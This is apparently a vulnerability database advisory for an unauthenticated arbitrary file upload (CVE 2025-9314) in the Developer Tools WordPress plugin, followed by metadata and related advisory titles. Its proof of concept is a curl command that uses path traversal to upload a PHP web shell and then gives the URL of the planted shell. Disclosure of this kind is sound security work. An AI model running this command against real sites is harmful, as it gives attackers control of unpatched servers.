Developer Tools <= 1.1.3 – Unauthenticated Arbitrary File Upload | CVE 2025-9314 | Plugin Vulnerabilities

Description

The plugin contains an unauthenticated arbitrary file upload vulnerability in the bundled SWFUpload component

Proof of Concept

curl -X POST "http://<target>/wp-content/plugins/developer-tools/libs/swfupload/upload.php" \
  -F "ADMINEMAIL=a@b.c" \
  -F "UPLOADDIR=../../../../uploads/2025/08" \
  -F "Filedata=@shell.php;filename=nx.php;type=application/x-php"


Uploaded file is then accessible at:
http://<target>/wp-content/uploads/2025/08/nx.php

Affects Plugins

developer-tools

No known fix

References

CVE

Miscellaneous

Original Researcher

Khaled Alenazi (Nxploited)

Submitter

Khaled Alenazi (Nxploited)

Submitter website

https://github.com/nxploited

Verified

Yes

WPVDB ID

0b1d9bfa-f7fa-4c6b-a310-699a47267e51

Timeline

Publicly Published

2025-08-21 (about 1 year ago)

Added

2025-08-21 (about 1 year ago)

Last Updated

2025-08-21 (about 1 year ago)

Other

Published

Title

Published

2014-08-01

Title

PDW File Browser - upload.php Arbitrary File Upload

Published

2026-06-29

Title

Zegen - Church WordPress Theme <= 1.1.9 - Authenticated (Subscriber+) Arbitrary File Upload

Published

2024-03-28

Title

CubeWP – All-in-One Dynamic Content Framework < 1.1.13 - Authenticated (Subscriber+) Arbitrary File Upload

Published

2024-11-08

Title

WooCommerce Support Ticket System < 17.8 - Unauthenticated Arbitrary File Upload

Published

2022-08-01

Title

Advanced Custom Fields 5.0-5.12.2 - Unauthenticated File Upload